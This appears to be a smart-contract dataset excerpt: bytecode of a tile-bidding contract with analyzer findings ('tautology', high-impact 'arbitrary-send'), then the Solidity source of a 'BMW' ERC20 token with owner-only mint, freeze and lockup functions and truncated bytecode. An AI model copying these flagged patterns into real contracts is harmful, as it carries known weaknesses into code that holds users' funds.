0x6080604052600436106101815760003560e01c80638dc30b70116100d1578063c87965721161008a578063e30c397811610064578063e30c39781461055b578063e392dccf1461057b578063f2fde38b1461058e578063f6f0499c146105ae57600080fd5b8063c879657214610504578063cb6632ef14610519578063cff29dfd1461053b57600080fd5b80638dc30b70146103705780638fdc2c371461047b5780639003adfe1461049b5780639435c887146104b1578063978bbdb9146104c6578063ae42672a146104dc57600080fd5b80633e109a191161013e57806351cff8d91161011857806351cff8d9146102fb57806379ba50971461031b57806383bc11c0146103305780638da5cb5b1461035057600080fd5b80633e109a191461029b57806345596e2e146102bb5780634b6e2939146102db57600080fd5b806306fdde0314610186578063194ad7bb146101b15780631d60ce8a146101ec57806324d1f3d91461022c5780632e520c5f146102645780633ccfd60b14610286575b600080fd5b34801561019257600080fd5b5061019b6105e4565b6040516101a891906123d3565b60405180910390f35b3480156101bd57600080fd5b506101de6101cc36600461215d565b60086020526000908152604090205481565b6040519081526020016101a8565b3480156101f857600080fd5b5061021473169332ae7d143e4b5c6baedb2fef77bfbddb401181565b6040516001600160a01b0390911681526020016101a8565b34801561023857600080fd5b5061024c61024736600461220c565b610672565b6040516001600160801b0390911681526020016101a8565b34801561027057600080fd5b5061028461027f36600461220c565b6106a7565b005b34801561029257600080fd5b506102846107f5565b3480156102a757600080fd5b5060035461024c906001600160801b031681565b3480156102c757600080fd5b506102846102d63660046121d6565b610801565b3480156102e757600080fd5b506102846102f6366004612296565b61087d565b34801561030757600080fd5b5061028461031636600461215d565b610a20565b34801561032757600080fd5b50610284610a2a565b34801561033c57600080fd5b5061028461034b366004612197565b610adc565b34801561035c57600080fd5b50600054610214906001600160a01b031681565b34801561037c57600080fd5b5061040d61038b36600461215d565b6007602052600090815260409020546001600160801b0381169060ff600160801b8204811691600160881b8104821691600160901b8204811691600160981b8104821691600160a01b8204811691600160a81b8104821691600160b01b8204811691600160b81b81049091169067ffffffffffffffff600160c01b909104168a565b604080516001600160801b03909b168b5260ff998a1660208c0152978916978a01979097529487166060890152928616608088015290851660a0870152841660c0860152831660e08501529190911661010083015267ffffffffffffffff16610120820152610140016101a8565b34801561048757600080fd5b50610284610496366004612245565b610b28565b3480156104a757600080fd5b506101de60055481565b3480156104bd57600080fd5b50610284611161565b3480156104d257600080fd5b506101de60045481565b3480156104e857600080fd5b506102147368549d7dbb7a956f955ec1263f55494f05972a6b81565b34801561051057600080fd5b506102846112a5565b34801561052557600080fd5b5061052e6112e2565b6040516101a89190612386565b34801561054757600080fd5b506102146105563660046121d6565b611344565b34801561056757600080fd5b50600154610214906001600160a01b031681565b6102846105893660046122dd565b61136e565b34801561059a57600080fd5b506102846105a936600461215d565b611b4e565b3480156105ba57600080fd5b5061024c6105c93660046121b2565b6009602052600090815260409020546001600160801b031681565b600280546105f1906125d4565b80601f016020809104026020016040519081016040528092919081815260200182805461061d906125d4565b801561066a5780601f1061063f5761010080835404028352916020019161066a565b820191906000526020600020905b81548152906001019060200180831161064d57829003601f168201915b505050505081565b6000600960006106828585611bc4565b61ffff1681526020810191909152604001600020546001600160801b03169392505050565b60405163e039e4a160e01b815260ff808416600483015282166024820152339073169332ae7d143e4b5c6baedb2fef77bfbddb40119063e039e4a19060440160206040518083038186803b1580156106fe57600080fd5b505afa158015610712573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610736919061217a565b6001600160a01b0316146107885760405162461bcd60e51b815260206004820152601460248201527322a2ac261d102737ba103a34b6329037bbb732b960611b60448201526064015b60405180910390fd5b60006107948383611bc4565b61ffff811660008181526009602052604080822080546001600160801b0319811690915590519394506001600160801b031692839133917f7754c70271d678ec24312362f4981a427a62682e90d1d3b7830348e9b82dc5959190a450505050565b6107ff3333611c50565b565b6000546001600160a01b0316331461082b5760405162461bcd60e51b815260040161077f9061246d565b6101f4816004819055111561087a5760405162461bcd60e51b81526020600482015260156024820152744545584c3a20496e76616c6964206665655261746560581b604482015260640161077f565b50565b6000816001600160801b0316116108d65760405162461bcd60e51b815260206004820152601760248201527f4545584c3a2072656d6f766541736b20696e7374656164000000000000000000604482015260640161077f565b60405163e039e4a160e01b815260ff808516600483015283166024820152339073169332ae7d143e4b5c6baedb2fef77bfbddb40119063e039e4a19060440160206040518083038186803b15801561092d57600080fd5b505afa158015610941573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610965919061217a565b6001600160a01b0316146109b25760405162461bcd60e51b815260206004820152601460248201527322a2ac261d102737ba103a34b6329037bbb732b960611b604482015260640161077f565b60006109be8484611bc4565b61ffff811660008181526009602052604080822080546001600160801b0319166001600160801b0388169081179091559051939450919233917f83b463210107054586f9f46f7414ff28d4a8a58a3870cfc43fa841600ddf0d2f91a450505050565b61087a3382611c50565b6001546001600160a01b03163314610a845760405162461bcd60e51b815260206004820152601760248201527f4545584c3a204e6f742070656e64696e67206f776e6572000000000000000000604482015260640161077f565b6000805460405133926001600160a01b03909216917f69398fb338bc46e7da38943cd2da3021d7a38be07d6385dae286d2ec93d3b48591a3600080546001600160a01b03199081163317909155600180549091169055565b6000546001600160a01b03163314610b065760405162461bcd60e51b815260040161077f9061246d565b600380546001600160801b0319166001600160801b0392909216919091179055565b60405163e039e4a160e01b815260ff808616600483015284166024820152339073169332ae7d143e4b5c6baedb2fef77bfbddb40119063e039e4a19060440160206040518083038186803b158015610b7f57600080fd5b505afa158015610b93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb7919061217a565b6001600160a01b031614610bdd5760405162461bcd60e51b815260040161077f9061246d565b6001600160a01b038216600090815260076020526040902080546001600160801b0316828110801590610c1f5750815460ff600160801b909104811690871610155b8015610c3a5750815460ff600160881b909104811690871611155b8015610c555750815460ff600160901b909104811690861610155b8015610c705750815460ff600160981b909104811690861611155b8015610d1957508154604051634166c1fd60e01b815260ff88811660048301528781166024830152600160a01b909204909116907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b158015610cdb57600080fd5b505afa158015610cef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1391906121ef565b60ff1610155b8015610dc257508154604051634166c1fd60e01b815260ff88811660048301528781166024830152600160a81b909204909116907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b158015610d8457600080fd5b505afa158015610d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbc91906121ef565b60ff1611155b8015610de557508154600160b01b900460ff16610ddf8787611d17565b60ff1610155b8015610e0857508154600160b81b900460ff16610e028787611d17565b60ff1611155b610e545760405162461bcd60e51b815260206004820181905260248201527f4545584c3a2074696c6520646f65736e2774206d656574206269642072657173604482015260640161077f565b610e5e8686611bc4565b8254604080516001600160801b0385168152600160801b830460ff9081166020830152600160881b8404811682840152600160901b840481166060830152600160981b840481166080830152600160a01b8404811660a0830152600160a81b8404811660c0830152600160b01b8404811660e0830152600160b81b9093049092166101008301525161ffff92909216916001600160a01b0387169133917f8d29a764eb42b778e5490f608b833f4550b26a4e49c044a079eb30aeff4d58f2918190036101200190a48154610f44908590600160c01b900467ffffffffffffffff16611eab565b604051633eaff62d60e11b815260ff8088166004830152861660248201526001600160a01b038516604482015273169332ae7d143e4b5c6baedb2fef77bfbddb401190637d5fec5a90606401600060405180830381600087803b158015610faa57600080fd5b505af1158015610fbe573d6000803e3d6000fd5b505060405163e039e4a160e01b815260ff808a166004830152881660248201526001600160a01b038716925073169332ae7d143e4b5c6baedb2fef77bfbddb4011915063e039e4a19060440160206040518083038186803b15801561102257600080fd5b505afa158015611036573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105a919061217a565b6001600160a01b0316146110b05760405162461bcd60e51b815260206004820152601f60248201527f4545584c3a206661696c65642073657474696e672074696c65206f776e657200604482015260640161077f565b6000612710600454836001600160801b03166110cc919061257b565b6110d6919061253d565b905080600560008282546110ea9190612500565b909155506111039050816001600160801b03841661259a565b3360009081526008602052604081208054909190611122908490612500565b909155506009905060006111368989611bc4565b61ffff168152602081019190915260400160002080546001600160801b031916905550505050505050565b33600090815260076020526040902080546001600160801b0316806111c05760405162461bcd60e51b8152602060048201526015602482015274115156130e88139bc8195e1a5cdd1a5b99c8189a59605a1b604482015260640161077f565b81546040516001600160801b0383169133917f944a025a98deacc6d65fa8bab0b08fd67ccab0c7c1c37a1d7a460ceb928f003d9161124e9160ff600160801b8304811692600160881b8104821692600160901b8204831692600160981b8304811692600160a01b8104821692600160a81b8204831692600160b01b8304811692600160b81b90041690612496565b60405180910390a38154611274903390600160c01b900467ffffffffffffffff16611eab565b33600090815260086020526040812080546001600160801b038416929061129c908490612500565b90915550505050565b6000546001600160a01b031633146112cf5760405162461bcd60e51b815260040161077f9061246d565b60058054600090915561087a3382611fb5565b6060600680548060200260200160405190810160405280929190818152602001828054801561133a57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161131c575b5050505050905090565b6006818154811061135457600080fd5b6000918252602090912001546001600160a01b0316905081565b3332146113ad5760405162461bcd60e51b815260206004820152600d60248201526c4545584c3a206e6f7420454f4160981b604482015260640161077f565b6001600160801b033411156113fb5760405162461bcd60e51b815260206004820152601460248201527308a8ab0987440ecc2d8eaca40e8dede40d0d2ced60631b604482015260640161077f565b6003546001600160801b03163410156114565760405162461bcd60e51b815260206004820152601b60248201527f4545584c3a207265712062696420616d74203e3d206d696e4269640000000000604482015260640161077f565b336000908152600760205260409020546001600160801b0316156114bc5760405162461bcd60e51b815260206004820152601e60248201527f4545584c3a20626964206578697374732c2063616e63656c2066697273740000604482015260640161077f565b6114c58861205d565b6115045760405162461bcd60e51b815260206004820152601060248201526f22a2ac261d1036b4b721b7b61027a7a160811b604482015260640161077f565b61150d8761205d565b61154c5760405162461bcd60e51b815260206004820152601060248201526f22a2ac261d1036b0bc21b7b61027a7a160811b604482015260640161077f565b8660ff168860ff1611156115a25760405162461bcd60e51b815260206004820152601a60248201527f4545584c3a20726571206d696e436f6c203c3d206d6178436f6c000000000000604482015260640161077f565b6115ab8661205d565b6115ea5760405162461bcd60e51b815260206004820152601060248201526f22a2ac261d1036b4b72937bb9027a7a160811b604482015260640161077f565b6115f38561205d565b6116325760405162461bcd60e51b815260206004820152601060248201526f22a2ac261d1036b0bc2937bb9027a7a160811b604482015260640161077f565b8460ff168660ff1611156116885760405162461bcd60e51b815260206004820152601a60248201527f4545584c3a20726571206d696e526f77203c3d206d6178526f77000000000000604482015260640161077f565b6116918461206e565b6116d05760405162461bcd60e51b815260206004820152601060248201526f22a2ac261d1036b4b722b6329027a7a160811b604482015260640161077f565b6116d98361206e565b6117185760405162461bcd60e51b815260206004820152601060248201526f22a2ac261d1036b0bc22b6329027a7a160811b604482015260640161077f565b8260ff168460ff16111561176e5760405162461bcd60e51b815260206004820152601a60248201527f4545584c3a20726571206d696e456c65203c3d206d6178456c65000000000000604482015260640161077f565b600660ff831611156117b55760405162461bcd60e51b815260206004820152601060248201526f22a2ac261d1036b4b72bb0ba1027a7a160811b604482015260640161077f565b600660ff821611156117fc5760405162461bcd60e51b815260206004820152601060248201526f22a2ac261d1036b0bc2bb0ba1027a7a160811b604482015260640161077f565b8060ff168260ff1611156118525760405162461bcd60e51b815260206004820152601a60248201527f4545584c3a20726571206d696e576174203c3d206d6178576174000000000000604482015260640161077f565b60065467ffffffffffffffff81106118a25760405162461bcd60e51b81526020600482015260136024820152724545584c3a20746f6f206d616e79206269647360681b604482015260640161077f565b604051806101400160405280346001600160801b031681526020018a60ff1681526020018960ff1681526020018860ff1681526020018760ff1681526020018660ff1681526020018560ff1681526020018460ff1681526020018360ff1681526020018267ffffffffffffffff1681525060076000336001600160a01b03166001600160a01b0316815260200190815260200160002060008201518160000160006101000a8154816001600160801b0302191690836001600160801b0316021790555060208201518160000160106101000a81548160ff021916908360ff16021790555060408201518160000160116101000a81548160ff021916908360ff16021790555060608201518160000160126101000a81548160ff021916908360ff16021790555060808201518160000160136101000a81548160ff021916908360ff16021790555060a08201518160000160146101000a81548160ff021916908360ff16021790555060c08201518160000160156101000a81548160ff021916908360ff16021790555060e08201518160000160166101000a81548160ff021916908360ff1602179055506101008201518160000160176101000a81548160ff021916908360ff1602179055506101208201518160000160186101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050506006339080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b03160217905550346001600160801b0316336001600160a01b03167ffdd112ffa368681c99ed9f845ed96123a44a1752ad73d4df220fee9ea848870b8b8b8b8b8b8b8b8b604051611b3b989796959493929190612496565b60405180910390a3505050505050505050565b6000546001600160a01b03163314611b785760405162461bcd60e51b815260040161077f9061246d565b600180546001600160a01b0319166001600160a01b03831690811790915560405133907fb150023a879fd806e3599b6ca8ee3b60f0e360ab3846d128d67ebce1a391639a90600090a350565b6000611bcf8361205d565b8015611bdf5750611bdf8261205d565b611c2b5760405162461bcd60e51b815260206004820152601c60248201527f4545584c3a20496e76616c696420636f6c20616e642f6f7220726f7700000000604482015260640161077f565b8160ff1660218460ff16611c3f9190612551565b611c4991906124da565b9392505050565b6001600160a01b03821660009081526008602052604090205480611cae5760405162461bcd60e51b81526020600482015260156024820152744545584c3a206e6f7468696e672070656e64696e6760581b604482015260640161077f565b6001600160a01b038316600090815260086020526040812055611cd18282611fb5565b80826001600160a01b0316846001600160a01b03167fcd1fce47d5ad89dd70b04c75bd6bdb8114d4d4ff7b4393f9fb5937e733ba958260405160405180910390a4505050565b6000600160ff841610801590611d315750601f60ff841611155b611d4d5760405162461bcd60e51b815260040161077f90612428565b600160ff831610801590611d655750601f60ff831611155b611d815760405162461bcd60e51b815260040161077f90612428565b6001611d8e60028461260f565b60ff161415611df657611dbd611db8611da8600186612518565b611db3600186612518565b61208d565b61212b565b611dc79082612518565b9050611de5611db8611dda600186612518565b611db36001866125b1565b611def9082612518565b9050611e31565b611e07611db8611dda6001866125b1565b611e119082612518565b9050611e24611db8611da86001866125b1565b611e2e9082612518565b90505b611e43611db884611db36001866125b1565b611e4d9082612518565b9050611e61611db884611db3600186612518565b611e6b9082612518565b9050611e84611db8611e7e600186612518565b8461208d565b611e8e9082612518565b9050611ea1611db8611e7e6001866125b1565b611c499082612518565b6006805460009190611ebf9060019061259a565b81548110611ecf57611ecf612673565b6000918252602090912001546001600160a01b03908116915083168114611f64578060068367ffffffffffffffff1681548110611f0e57611f0e612673565b600091825260208083209190910180546001600160a01b0319166001600160a01b03948516179055918316815260079091526040902080546001600160c01b0316600160c01b67ffffffffffffffff8516021790555b6001600160a01b0383166000908152600760205260408120556006805480611f8e57611f8e61265d565b600082815260209020810160001990810180546001600160a01b0319169055019055505050565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612002576040519150601f19603f3d011682016040523d82523d6000602084013e612007565b606091505b50509050806120585760405162461bcd60e51b815260206004820152601960248201527f4545584c3a20455448207472616e73666572206661696c656400000000000000604482015260640161077f565b505050565b6000602060ff831611155b92915050565b6000607d60ff831610801590612068575060d860ff8316111592915050565b604051634166c1fd60e01b815260ff808416600483015282166024820152600090607d907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b1580156120e857600080fd5b505afa1580156120fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212091906121ef565b60ff16109392505050565b600081612139576000612068565b600192915050565b80356001600160801b038116811461215857600080fd5b919050565b60006020828403121561216f57600080fd5b8135611c4981612689565b60006020828403121561218c57600080fd5b8151611c4981612689565b6000602082840312156121a957600080fd5b611c4982612141565b6000602082840312156121c457600080fd5b813561ffff81168114611c4957600080fd5b6000602082840312156121e857600080fd5b5035919050565b60006020828403121561220157600080fd5b8151611c498161269e565b6000806040838503121561221f57600080fd5b823561222a8161269e565b9150602083013561223a8161269e565b809150509250929050565b6000806000806080858703121561225b57600080fd5b84356122668161269e565b935060208501356122768161269e565b9250604085013561228681612689565b9396929550929360600135925050565b6000806000606084860312156122ab57600080fd5b83356122b68161269e565b925060208401356122c68161269e565b91506122d460408501612141565b90509250925092565b600080600080600080600080610100898b0312156122fa57600080fd5b88356123058161269e565b975060208901356123158161269e565b965060408901356123258161269e565b955060608901356123358161269e565b945060808901356123458161269e565b935060a08901356123558161269e565b925060c08901356123658161269e565b915060e08901356123758161269e565b809150509295985092959890939650565b6020808252825182820181905260009190848201906040850190845b818110156123c75783516001600160a01b0316835292840192918401916001016123a2565b50909695505050505050565b600060208083528351808285015260005b81811015612400578581018301518582016040015282016123e4565b81811115612412576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526025908201527f4545584c3a20576174657220636f756e74696e67207265717572657320636f6c60408201526420312d333160d81b606082015260800190565b6020808252600f908201526e22a2ac261d102737ba1037bbb732b960891b604082015260600190565b60ff98891681529688166020880152948716604087015292861660608601529085166080850152841660a0840152831660c083015290911660e08201526101000190565b600061ffff8083168185168083038211156124f7576124f7612631565b01949350505050565b6000821982111561251357612513612631565b500190565b600060ff821660ff84168060ff0382111561253557612535612631565b019392505050565b60008261254c5761254c612647565b500490565b600061ffff8083168185168183048111821515161561257257612572612631565b02949350505050565b600081600019048311821515161561259557612595612631565b500290565b6000828210156125ac576125ac612631565b500390565b600060ff821660ff8416808210156125cb576125cb612631565b90039392505050565b600181811c908216806125e857607f821691505b6020821081141561260957634e487b7160e01b600052602260045260246000fd5b50919050565b600060ff83168061262257612622612647565b8060ff84160691505092915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461087a57600080fd5b60ff8116811461087a57600080fdfea2646970667358221220a527179a34f964948edf19a89e4da962bfa760982ed4982b2467389c9468f0a064736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,853
0x36db29ca60d0f3a22f3b44f4344e165a638beed3
/** *Submitted for verification at Etherscan.io on 2021-07-27 */ /** *Submitted for verification at Etherscan.io on 2021-04-21 * Ely Net and Tor Korea */ pragma solidity ^0.4.26; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract BMW is ERC20, Ownable, Pausable { using SafeMath for uint256; struct LockupInfo { uint256 releaseTime; uint256 termOfRound; uint256 unlockAmountPerRound; uint256 lockupBalance; } string public name; string public symbol; uint8 constant public decimals =18; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) internal locks; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => LockupInfo[]) internal lockupInfo; event Lock(address indexed holder, uint256 value); event Unlock(address indexed holder, uint256 value); event Burn(address indexed owner, uint256 value); event Mint(uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "BMW"; symbol = "BMW"; initialSupply = 100000000; totalSupply_ = initialSupply * 10 ** uint(decimals); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } // function () public payable { revert(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) { if (locks[msg.sender]) { autoUnlock(msg.sender); } require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; if(locks[_holder]) { for(uint256 idx = 0; idx < lockupInfo[_holder].length ; idx++ ) { lockedBalance = lockedBalance.add(lockupInfo[_holder][idx].lockupBalance); } } return balances[_holder] + lockedBalance; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) { if (locks[_from]) { autoUnlock(_from); } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(isContract(_spender)); TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = (allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = (allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { require(balances[_holder] >= _amount); if(_termOfRound==0 ) { _termOfRound = 1; } balances[_holder] = balances[_holder].sub(_amount); lockupInfo[_holder].push( LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount) ); locks[_holder] = true; emit Lock(_holder, _amount); return true; } function unlock(address _holder, uint256 _idx) public onlyOwner returns (bool) { require(locks[_holder]); require(_idx < lockupInfo[_holder].length); LockupInfo storage lockupinfo = lockupInfo[_holder][_idx]; uint256 releaseAmount = lockupinfo.lockupBalance; delete lockupInfo[_holder][_idx]; lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)]; lockupInfo[_holder].length -=1; if(lockupInfo[_holder].length == 0) { locks[_holder] = false; } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } function freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } function getNowTime() public view returns(uint256) { return now; } function showLockState(address _holder, uint256 _idx) public view returns (bool, uint256, uint256, uint256, uint256, uint256) { if(locks[_holder]) { return ( locks[_holder], lockupInfo[_holder].length, lockupInfo[_holder][_idx].lockupBalance, lockupInfo[_holder][_idx].releaseTime, lockupInfo[_holder][_idx].termOfRound, lockupInfo[_holder][_idx].unlockAmountPerRound ); } else { return ( locks[_holder], lockupInfo[_holder].length, 0,0,0,0 ); } } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(owner, _to, _value); return true; } function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { distribute(_to, _value); lock(_to, _value, _releaseStart, _termOfRound, _releaseRate); return true; } function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) { token.transfer(_to, _value); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(address(0), _to, _amount); return true; } function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } function autoUnlock(address _holder) internal returns (bool) { for(uint256 idx =0; idx < lockupInfo[_holder].length ; idx++ ) { if(locks[_holder]==false) { return true; } if (lockupInfo[_holder][idx].releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( releaseTimeLock(_holder, idx) ) { idx -=1; } } } return true; } function releaseTimeLock(address _holder, uint256 _idx) internal returns(bool) { require(locks[_holder]); require(_idx < lockupInfo[_holder].length); // If lock status of holder is finished, delete lockup info. LockupInfo storage info = lockupInfo[_holder][_idx]; uint256 releaseAmount = info.unlockAmountPerRound; uint256 sinceFrom = now.sub(info.releaseTime); uint256 sinceRound = sinceFrom.div(info.termOfRound); releaseAmount = releaseAmount.add( sinceRound.mul(info.unlockAmountPerRound) ); if(releaseAmount >= info.lockupBalance) { releaseAmount = info.lockupBalance; delete lockupInfo[_holder][_idx]; lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)]; lockupInfo[_holder].length -=1; if(lockupInfo[_holder].length == 0) { locks[_holder] = false; } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } else { lockupInfo[_holder][_idx].releaseTime = lockupInfo[_holder][_idx].releaseTime.add( sinceRound.add(1).mul(info.termOfRound) ); lockupInfo[_holder][_idx].lockupBalance = lockupInfo[_holder][_idx].lockupBalance.sub(releaseAmount); emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return false; } } }
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610190578063095ea7b314610220578063125bfb661461028557806318160ddd1461030a57806323b872dd14610335578063313ce567146103ba57806339509351146103eb5780633f4ba83a1461045057806340c10f191461046757806342966c68146104cc5780635c975abb1461051157806370a0823114610540578063788649ea1461059757806379ba5097146105f25780637c759d0d146106215780637eee288d146106a45780638456cb59146107095780638da5cb5b1461072057806395d89b41146107775780639b819d3814610807578063a457c2d714610832578063a9059cbb14610897578063c572652b146108fc578063c9e075c61461097f578063cae9ca5114610a07578063d051665014610ab2578063d4ee1d9014610b0d578063dd62ed3e14610b64578063f26c159f14610bdb578063f2fde38b14610c36578063fb93210814610c79575b600080fd5b34801561019c57600080fd5b506101a5610cde565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e55780820151818401526020810190506101ca565b50505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d7c565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b506102f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8a565b604051808215151515815260200191505060405180910390f35b34801561031657600080fd5b5061031f610fd1565b6040518082815260200191505060405180910390f35b34801561034157600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fdb565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103cf61146f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103f757600080fd5b50610436600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611474565b604051808215151515815260200191505060405180910390f35b34801561045c57600080fd5b506104656116ab565b005b34801561047357600080fd5b506104b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176a565b604051808215151515815260200191505060405180910390f35b3480156104d857600080fd5b506104f7600480360381019080803590602001909291905050506118e7565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b50610526611a9e565b604051808215151515815260200191505060405180910390f35b34801561054c57600080fd5b50610581600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab1565b6040518082815260200191505060405180910390f35b3480156105a357600080fd5b506105d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c25565b604051808215151515815260200191505060405180910390f35b3480156105fe57600080fd5b50610607611d7e565b604051808215151515815260200191505060405180910390f35b34801561062d57600080fd5b5061068a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190